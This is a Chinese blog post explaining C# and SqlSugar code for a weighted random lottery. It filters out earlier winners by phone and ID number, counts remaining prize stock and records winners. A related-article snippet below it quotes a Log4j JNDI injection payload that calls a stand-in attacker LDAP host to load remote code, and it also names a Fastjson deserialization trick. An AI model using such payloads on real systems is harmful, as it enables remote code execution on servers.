.net6+sqlsuagr生成随机中奖名单

【新阁教育】S7.NET+Log4Net+SQLSugar+MySQL搭建Iot平台 1、搭建西门子S7仿真环境 基于PLCSIM-Advanced搭建西门子S7仿真环境注意事项: 1、通过公众号后台发送PLCSIM-Advanced获取软件 2、安装软件要先安装WinPcap软件 3、安装WinPcap可能会出现下面的问题 解决方案是右击WinPcap属性,设置兼容性和管理员权限 4、使用过程参考下方链接 基于S7-PLCSIM Advanced搭建S7通信仿真环境 2、搭建MySQL数据库环境【MySQL环境】 虚拟机或Windows系统部署过程严格按照下. 阅读详情

一、功能概述

场景:后台系统需要一个点击生成中奖名单的功能,点击即可随机抽取符合中奖条件的用户,并随机发放奖品表中的奖品。中奖概率与用户参与游戏次数权重正相关。

本文记录了一个中奖名单随机生成系统的实现,该系统能够根据用户答题情况,按照答题次数作为权重进行随机抽奖,并确保历史中奖用户不会重复中奖。系统主要包含候选用户筛选、权重随机算法实现、中奖记录生成与存储等核心功能。

二、核心功能模块

2.1 数据查询与筛选模块

历史批次中奖的用户不可重复中奖,也就是每人只能中一次。

手机号+身份证号后四位相同被认为同一个自然人。

该模块负责从数据库中查询历史中奖用户和本次参与抽奖的候选用户,并进行数据筛选处理:


    // 查询历史中奖用户信息
    var historyWinners = dataService.Query<WinningRecordEntity>(p => p.IsActive)
                      .Join<UserInfoEntity>((w, u) => w.UserId == u.UserId)
                      .Select((w, u) => new UserInfoOutput
                      {
                          UserId = w.UserId,
                          IdNumber = u.IdNumber.Trim(),
                          PhoneNumber = u.PhoneNumber.Trim(),
                      }).Distinct().ToList();

    // 查询本次参与抽奖的候选用户(按答题次数排序)
    var candidateUsers = dataService.Query<AnswerRecordEntity>(p => p.IsActive)
        .Join<GameRecordEntity>((a, g) => a.UserId == g.UserId && g.IsAllCorrect)
        .Join<UserInfoEntity>((a, g, u) => a.UserId == u.UserId)
        .Select((a, g, u) => new { a.UserId, u.PhoneNumber, u.IdNumber })
        .MergeTable()
        .GroupBy(p => new { p.UserId, p.PhoneNumber, p.IdNumber })
        .Select(p => new UserAnswerCountOutput { 
            UserId = p.UserId, 
            PhoneNumber = p.PhoneNumber, 
            IdNumber = p.IdNumber, 
            AnswerCount = SqlFunc.Count(p.UserId) 
        })
        .OrderByDescending(p => p.AnswerCount)
        .ToList();

    // 排除历史中奖用户(通过身份证和手机号匹配)
    var filteredCandidates = candidateUsers
        .Where(u =>
            !historyWinners.Any(h =>
                 h.IdNumber.Equals(u.IdNumber.Trim(), StringComparison.OrdinalIgnoreCase) &&
                 h.PhoneNumber.Equals(u.PhoneNumber.Trim(), StringComparison.OrdinalIgnoreCase)
            )
        ).ToList();

    // 对本次候选用户按身份信息去重,保留答题次数最多的记录
    var uniqueCandidates = filteredCandidates
                .GroupBy(u => new { IdNumber = u.IdNumber.Trim(), PhoneNumber = u.PhoneNumber.Trim() })
                .Select(g => g.OrderByDescending(u => u.AnswerCount).First())
                .ToList();

这部分代码主要完成了:

  • 从数据库中查询历史中奖用户信息
  • 查询符合抽奖条件的候选用户(已完成答题且全部正确)
  • 对候选用户进行筛选,排除已中奖用户
  • 对候选用户按身份信息去重,确保一个用户只保留一条最高答题次数的记录

2.2 奖品库存计算模块

该模块负责计算各奖品的剩余库存数量:

    // 计算各奖品剩余可发放数量
    List<PrizeEntity> availablePrizes = new List<PrizeEntity>();
    var allPrizes = dataService.Query<PrizeEntity>(p => p.IsActive && p.IsDisplay).ToList();
    int totalPrizeCount = 0;

    // 查询已发放的各奖品数量
    var distributedPrizes = dataService.Query<WinningRecordEntity>(p => p.IsActive)
        .GroupBy(p => p.PrizeId)
        .Select(p => new { p.PrizeId, DistributedCount = SqlFunc.Count(p.Id) });

    foreach (var prize in allPrizes)
    {
        // 查找该奖品已发放数量
        var distributed = distributedPrizes.FirstOrDefault(p => p.PrizeId == prize.Id);
        if (distributed != null)
        {
            // 计算剩余可发放数量
            int remaining = prize.TotalCount - distributed.DistributedCount;
            for (int i = 0; i < remaining; i++)
            {
                availablePrizes.Add(prize);
            }
            totalPrizeCount += remaining;
        }
        else
        {
            // 未发放过的奖品,按总数量添加
            for (int i = 0; i < prize.TotalCount; i++)
            {
                availablePrizes.Add(prize);
            }
            totalPrizeCount += prize.TotalCount;
        }
    }
    // 随机打乱奖品顺序
    availablePrizes = RandomHelper.Shuffle(availablePrizes);

此模块的核心逻辑是:

  • 查询所有可发放的奖品信息
  • 统计每个奖品已发放的数量
  • 计算每个奖品剩余可发放数量
  • 生成可发放奖品列表,并随机打乱顺序

2.3 中奖名单生成与记录模块

该模块是整个系统的核心,负责根据权重随机算法生成中奖名单,并将中奖记录写入数据库:

    // 获取上一批次编号
    int lastBatchNumber = 0;
    var lastBatchRecord = dataService.Query<WinningRecordEntity>(p => p.IsActive)
        .OrderByDescending(p => p.Id).FirstOrDefault();
    if (lastBatchRecord != null)
    {
        lastBatchNumber = lastBatchRecord.BatchNumber;
    }
    
    // 生成中奖用户列表
    var winningUsers = GenerateLotteryUsers(uniqueCandidates, totalPrizeCount);

    // 记录中奖信息到数据库
    for (int i = 0; i < winningUsers.Count; i++)
    {
        var user = winningUsers[i];
        var prize = availablePrizes[i];
        var winRecord = new WinningRecordEntity
        {
            UserId = user.UserId,
            PrizeId = prize.Id,
            IsRedeemed = false,
            BatchNumber = lastBatchNumber + 1,
            IsPublished = false,
        };
        dataService.Add(winRecord);
    }

    return result;
}

三、权重随机算法实现

3.1 算法核心逻辑

权重随机算法是整个系统的核心,它根据用户答题次数作为权重,实现概率性的随机选择:

/// <summary>
/// 根据答题次数作为权重,随机选择中奖用户
/// </summary>
/// <param name="userAnswerCounts">用户答题次数统计(含权重)</param>
/// <param name="prizeCount">需要抽取的中奖人数</param>
/// <returns>中奖用户列表</returns>
private List<UserAnswerCountOutput> GenerateLotteryUsers(List<UserAnswerCountOutput> userAnswerCounts, int prizeCount)
{
    // 用于记录已中奖的用户身份标识,确保一个用户只能中奖一次
    var uniqueIdentifiers = new HashSet<string>();
    var winningUsers = new List<UserAnswerCountOutput>();
    var random = new Random();

    // 循环抽奖,直到抽满奖品数量或没有候选用户
    while (winningUsers.Count < prizeCount && userAnswerCounts.Count > 0)
    {
        // 计算总权重(所有用户答题次数之和)
        int totalWeight = userAnswerCounts.Sum(u => u.AnswerCount);
        if (totalWeight == 0) break; // 没有权重,无法抽奖

        // 生成随机权重值
        int randomWeight = random.Next(1, totalWeight + 1);
        int currentWeight = 0;
        UserAnswerCountOutput selectedUser = null;

        // 根据权重选择用户
        foreach (var user in userAnswerCounts)
        {
            currentWeight += user.AnswerCount;
            if (currentWeight >= randomWeight)
            {
                selectedUser = user;
                break;
            }
        }

        if (selectedUser != null)
        {
            // 生成用户唯一标识(身份证+手机号)
            string idNumber = selectedUser.IdNumber.Trim();
            string phoneNumber = selectedUser.PhoneNumber.Trim();
            string uniqueKey = $"{idNumber}_{phoneNumber}";
            
            // 检查是否已中奖
            if (!uniqueIdentifiers.Contains(uniqueKey))
            {
                // 未中奖,添加到中奖列表
                winningUsers.Add(selectedUser);
                uniqueIdentifiers.Add(uniqueKey);
                // 从候选列表中移除该用户(按身份信息)
                userAnswerCounts.RemoveAll(u => u.IdNumber.Trim() == idNumber && u.PhoneNumber.Trim() == phoneNumber);
            }
            else
            {
                // 已中奖,从候选列表中移除该用户
                userAnswerCounts.Remove(selectedUser);
            }
        }
    }

    return winningUsers;
}

3.2 算法关键点解析

  1. 权重计算:以用户答题次数作为抽奖权重,答题次数越多,中奖概率越大
  2. 唯一性保证:通过身份证和手机号组合作为唯一标识,确保同一用户只能中奖一次
  3. 去重处理:在候选用户中,对同一用户的多条记录,保留答题次数最多的一条
  4. 随机打乱:对奖品列表进行随机排序,避免奖品发放顺序固定

注意:

需要重写Equals方法:

 public class UserInfoOutput: IEquatable<UserInfoOutput>
 {
     public string UserId { get; set; }

     public int Count { get; set; }

     public string IDCard { get; set; }

     public string Mobile { get; set; }


     public bool Equals(UserInfoOutput other)
     {
         if (other is null)
             return false;
         return this.IDCard == other.IDCard && this.Mobile == other.Mobile;
         //return UserId == other.UserId;
     }
     public override int GetHashCode()
     {
         //return UserId.GetHashCode();
         return HashCode.Combine(IDCard, Mobile);
     }

     public override bool Equals(object obj)
     {
         return Equals(obj as UserInfoOutput);
     }

 }

.Net Core6.0 WebAPI项目框架搭建六:仓储模式+导入SqlSuagr 解决方案新建Respository文件夹,新建类库Web.Core.IRepository,Web.Core.Repository。在IRepository层中,新建IStudentRepository接口,继承自IBaseRepository解决方案新建Services文件夹,新建类库Web.Core.IServices,Web.Core.Services。Repository 层中,添加Base文件夹,并添加 BaseRepository.cs 基类。 阅读详情

相关推荐

第28篇 sw放样特征矩形-圆-矩形学习笔记

本例演示三轮廓放样:先画中心对齐的100×100矩形草图,再在偏移100的基准面上绘制圆,最后在另一基准面画矩形。通过依次选择三个轮廓并正确设置连接点,实现矩形→圆→矩形的平滑过渡,注意连接点位置避免扭曲。

Txwtech 51

.NET 生成大量不重复,不可猜测,固定长度的优惠码

private static String[] chars = new String[]{"a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y...

wdyllff的专栏 506

android广告SDK原理详解(附源码)

广大的开发者吃糠咽菜开发了一两款APP,获取了一些流量后自然就会想到流量变现,一般情况下大家会选择到百度联盟或者Google Admob这些广告服务提供商注册开发者账号,在自己的APP里面加上几行广告位代码,集成他们的广告SDK包。然后谋事在人,成事在天,只有每天看报表查查收益。   也有一些开发者为了能够提高自己的变现水平,同时接入了好几家的sdk,哪家出的收益高一点我就出哪家的广告,但是这

rmcgogo的博客 1万+

.NET(C#)有哪些主流的ORM框架,SqlSugar,Dapper,EF还是...

前言 在以前的一篇文章中,为大家分享了《什么是ORM?为什么用ORM?浅析ORM的使用及利弊》。那么,在目前的.NET(C#)的世界里,有哪些主流的ORM,SqlSugar,Dapper,Entity Framework(EF)还是ServiceStack.OrmLite?或者是你还有更好的ORM推荐呢? 如果有的话,不防也一起分享给大家...

weixin_34362875的博客 3382

避开这5个坑!ADNI数据库下载实操经验分享(含断点续传方案)

本文分享了ADNI数据库下载的5个常见陷阱及解决方案,包括高级搜索策略优化、断点续传技巧和数据完整性验证。特别针对大文件下载中断问题,提供了wget断点续传和分卷下载的实操方法,帮助研究者高效获取神经影像数据,避免重复下载和时间浪费。

git9versioner的博客 374

OpenHarmony + AI:深度解析 Whisper.cpp 智慧语音系统级移植与 NAPI 封装实战

【代码】OpenHarmony + AI:深度解析 Whisper.cpp 智慧语音系统级移植与 NAPI 封装实战。

m0_67505153的博客 188

小白开学Asp.Net Core 《五》

小白开学Asp.Net Core《五》 —— 使用.Net Core MVCFilter 一、简介   今天在项目(https://github.com/AjuPrince/Aju.Carefree)做登陆权限时,用到了Filter,现将Filer的使用做以下记录。 二、Filter 简介   Filter俗称过滤器,它...

weixin_30929295的博客 109

【PyGIS】ERA5降雨蒸散发数据预处理

ERA5-LAND降雨蒸散发数据预处理

```On Earth, Be Water, By Coding``` 3145

VUE.jS+ASP.NET core API 3.1(zhaoadmincore.API)+sqlsuagr(orm)+mysql+JWT前后端分离简单版

VUE.jS+ASP.NET core API 3.1(zhaoadmincore.API)+sqlsuagr(orm)+mysql 权限管理系统 pm2部署服务 cdn代理js+css、静态文件压缩等功能加速页面展示速度、发布文件107kb. 功能持续更新中,目前是基础版本。 vue.js git地址:https://github.com/zhaoziliang2019/vue-admin.git API git地址:https://github.com/zhaoziliang2...

IT_ziliang的博客 560

OceanBase数据库:从入门到精通全栈教程目录(含架构解析、性能调优与实战案例)

《OceanBase数据库专栏》全面解析蚂蚁集团自主研发的分布式关系型数据库,涵盖从基础到高级的完整知识体系。专栏分为入门篇、原理篇、使用篇等七大模块,包含35+篇深度文章,详细讲解OceanBase的高可用架构、Paxos协议、LSM树存储引擎等核心技术。特别提供MySQL/Oracle迁移指南、金融/电商场景实践案例,以及性能调优、运维监控等实战内容。适合开发者、DBA及架构师快速掌握OceanBase的核心特性和行业应用,助力企业实现数据库分布式转型。

本博客聚焦 YOLOv11 全流程落地,涵盖架构优化、数据集处理、训练技巧与多场景部署,兼及国产数据库、Java 开发与 AI 模型应用,内容兼顾理论与工程实践,为开发者提供系统干货,助力高效提升技术能力。 983

【ARM CoreLink 系列 5.3 -- CI-700 SLC memory 系统组件详细介绍】

在 CI-700 系统级缓存(SLC)内存系统中,HN-F 节点负责管理缓存一致性和数据传输。每个 HN-F 节点可以发送三种类型的 Snoop 请求,以确保系统中多核处理器和缓存之间的一致性。CI-700 中的系统级缓存(SLC)内存系统通过 HN-F 节点支持 TrustZone® 技术。以下是 CI-700 支持的 SN 类型以及配置方法的简要介绍。ARM CI-700 系统级缓存(SLC)是一个分布式、主要排他性(mostly exclusive) 的最后一级缓存,集成在 HN-F 节点内。

CodingCos的博客 898

SqlSugar详解-国产ORM框架

OrderBy(it=>it.Id,OrderByType.Desc )// 倒序.First(it => it.sex == 1) //没有返回Null。

敲厉害的燕宝的博客 1万+

解锁RK3588 HDMI输出:分辨率与EDID的深度探索

本文详细探讨了瑞芯微RK3588处理器的HDMI输出分辨率配置与EDID解析技术。文章首先介绍了RK3588处理器的性能特点及其HDMI功能在多媒体和工业领域的应用价值,随后分别阐述了HDMI输出分辨率的硬件连接要求和软件配置方法,包括4K/8K等不同分辨率的配置实例。在EDID部分,深入解析了EDID的数据结构、交互机制,以及数据获取与修改的具体方法。最后总结了配置过程中常见问题的解决方案,并展望了RK3588在高分辨率显示领域的发展前景。全文为开发者提供了RK3588 HDMI显示配置的完整技术指南。

远程部署调试 运行安装 项目调试 二次开发 项目技术新 持续迭代 部分源码免费分享 592

校园一体化管理系统 1、开发方案(试行)

本文介绍了校园一体化管理系统的私有化专属开发方案,采用单MySQL架构设计,满足学校内网断网运行、低配服务器适配、无外网依赖等需求。系统技术栈基于ASP.NET Core 8和Blazor WebAssembly,提供完整的离线部署方案,包括一键安装、升级和备份恢复功能。数据库设计针对私有化场景优化,采用分层存储策略,通过模块化架构实现教务、教学、德育等业务功能,并确保符合教育等保2.0安全要求。方案支持私有化单校独立实例和云端多租户SaaS两种部署模式,通过配置开关灵活切换。

o527883184的博客 1074

黑猫带你学eMMC协议第17篇:超详细的eMMC HS200 & HS400讲解

1 前言 1.1 声明 本文依据eMMC JEDEC5.1及个人工作经验整理而成,如有错误请留言。 本文结合eMMC JEDEC5.1协议手册查看效果更佳。 1.2 内容提要 本文大约6000字,主要内容有: 1.什么是emmc hs200/hs400? 2.什么是tuning?tuning的过程又是什么? 3.如何设置才能让emmc进入hs200 mode? 4.如何设置才能让emmc进入hs400 mode? 5.emmc关于HS200/HS400内部结构框图对比。 6.部分个人相关经验总结。

黑猫奥利奥的博客 1万+

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

.NET学习之路(三)-------ADO.NET基础

数据库连接是最基础的,也是我在开始阶段遇到问题最多的地方,下面我将以SQLServer 2005为例子介绍一下怎么连接数据库。 我是在WPF下进行连接的,可以运用到其他上面。       首先是连接语句  Data Source=.\\SQLEXPRESS;Initial Catalog=mytest; User ID=XXX;Password=XXX          需要说明的是  Da

huguoqun的专栏 843

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

使用MultipleActiveResultSets复用Sql Server 2008数据库连接

2019独角兽企业重金招聘Python工程师标准>>> ...

weixin_34208185的博客 194

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

Jackson 序列化 / 反序列化注解 完整版笔记

Jackson 序列化 / 反序列化注解 完整版笔记

handsome_sai的博客 303

[学习笔记]超越超级大循环与原生RTOS:事件驱动架构如何改变嵌入式固件的可扩展性

RTC:事件处理器一旦开始,全部状态迁移、进出动作、输出事件必须全部执行完毕才返回;同一个组件,当前处理没结束,不会开始下一条事件。这不是架构给状态机额外施加的限制,这是UML状态图等全部状态机形式化本身固有的语义要求。如果迁移中途可以被打断,状态机会停留在未定义的中间状态。RTC保证两次事件之间,状态机永远处于明确定义的合法状态,便于分析与测试。

MiKiJT的博客 216

闪光灯笔记

主体后常亮补光,相机快门速度两秒,相机固定在三脚架上,让主体保持不动,按下快门之后主体周围晃动灯棒。特点:人物清晰,背景车流灯光拖在人物身后,氛围感强,就是 A7R3 + 神牛外帘同步的目标效果。总时长 = 8÷10=0.8s 👉 A7R3 相机:M 档,快门 1s,f/8,ISO100。上图:前帘同步,车向前行驶,光轨跑到车头前面,看着很怪。例:6 次,4Hz → 6÷4=1.5s → 相机快门设置≥1.5s,推荐 2s。缺点(慢速快门拍运动物体):闪光先把人定住,之后人物继续移动,在传感器上,

oDianZi1234567的博客 302

排序算法深度笔记(下):非比较类排序的线性突破与工程边界

排序算法时间复杂度额外空间复杂度稳定性是否基于比较选择排序O(N^2)(O(1))不稳定是冒泡排序O(N^2)(O(1))稳定是插入排序O(N^2)(O(1))稳定是归并排序O(N\log N)(O(N))稳定是快速排序O(N\log N)O(log N)不稳定是堆排序O(N\log N)O(1)不稳定是计数排序(O(N + M))O(M))稳定否基数排序O(N)稳定否桶排序平均O(N) / 最坏O(N^2)

2401_87069538的博客 601

【LTE L3 笔记 10】LTE物理信道-PUCCH、PUSCH

课程来源:B站《【2022】华为HCIA-LTE无线工程师认证学习中级视频》笔记为个人整理,含课件截图,仅供学习交流。

lyouhuan的博客 183

Day36 XD安全学习笔记--JavaE应用&第三方组件&Log4i 日志&Fastson序列化&JNDI 注入

本节课剖析Log4j与Fastjson组件漏洞原理。Log4j通过JNDI注入实现远程代码执行,攻击者构造${jndi:ldap://attacker.com/Exploit}触发Lookup机制,诱导目标向恶意LDAP服务器请求并加载远程类,最终执行命令(如弹出计算器)。需配置trustURLCodebase=true绕过安全限制。Fastjson则利用@type反序列化特性,当用户输入可控的{"@type":"com.xiaodi.Run"}时,自动加载并实例化恶

一支蜉蝣的博客 212

Java 多态 学习笔记

多态是面向对象编程的重要特性,指同一操作作用于不同对象时产生不同行为。其核心在于“父类引用指向子类对象”,结合方法重写实现运行时动态绑定。多态使代码更灵活、可扩展,如用Person p = new Student();统一处理各类人员注册,无需修改调用逻辑。但多态无法直接调用子类特有方法,需通过instanceof判断并强制转换。编译时看左边(类型),运行时看右边(实际对象),实现解耦与维护便利。

AA_AA114514的博客 367

Arduino-MEGA-ESP单片机理论课笔记-06温湿度-07时间-延时定时-2026

本文解析了DHT11温湿度传感器的Arduino代码,逐行讲解了库引入、引脚定义、传感器初始化及数据读取流程。重点说明了delay(1000)导致阻塞的问题,并提出使用millis()实现非阻塞定时,将采样间隔改为2秒,提升程序响应性。同时建议增加isnan()错误检测、优化串口输出格式,确保数据稳定可靠。

zhangrelay的专栏 363

#SQLite 数据库笔记一:(概念 / 终端指令 / SQL 语句 / C 编程 / 回调函数)

数据库 = 数据的仓库,假设数据是海量。能力说明存储数据持久化保存,程序退出数据还在统计数据、分组、排序数据管理增、删、改、查(CRUD)嵌入式设备上也会用数据库(单片机网关、路由器、工业 HMI 都常见),因为 sqlite 体积小、无需服务进程、单文件即可。数据库 = 库 > 表 > 记录(行) > 字段(列)sqlite3 = 开源、C 写的、单文件、免安装、最多 2T 的嵌入式关系型数据库。

lwq20051110的博客 251
上一篇: LINQ 子查询使用笔记
下一篇: ORM 延迟执行问题与解决方案
蒸芋圆
博客等级 码龄6年 57粉丝 13原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值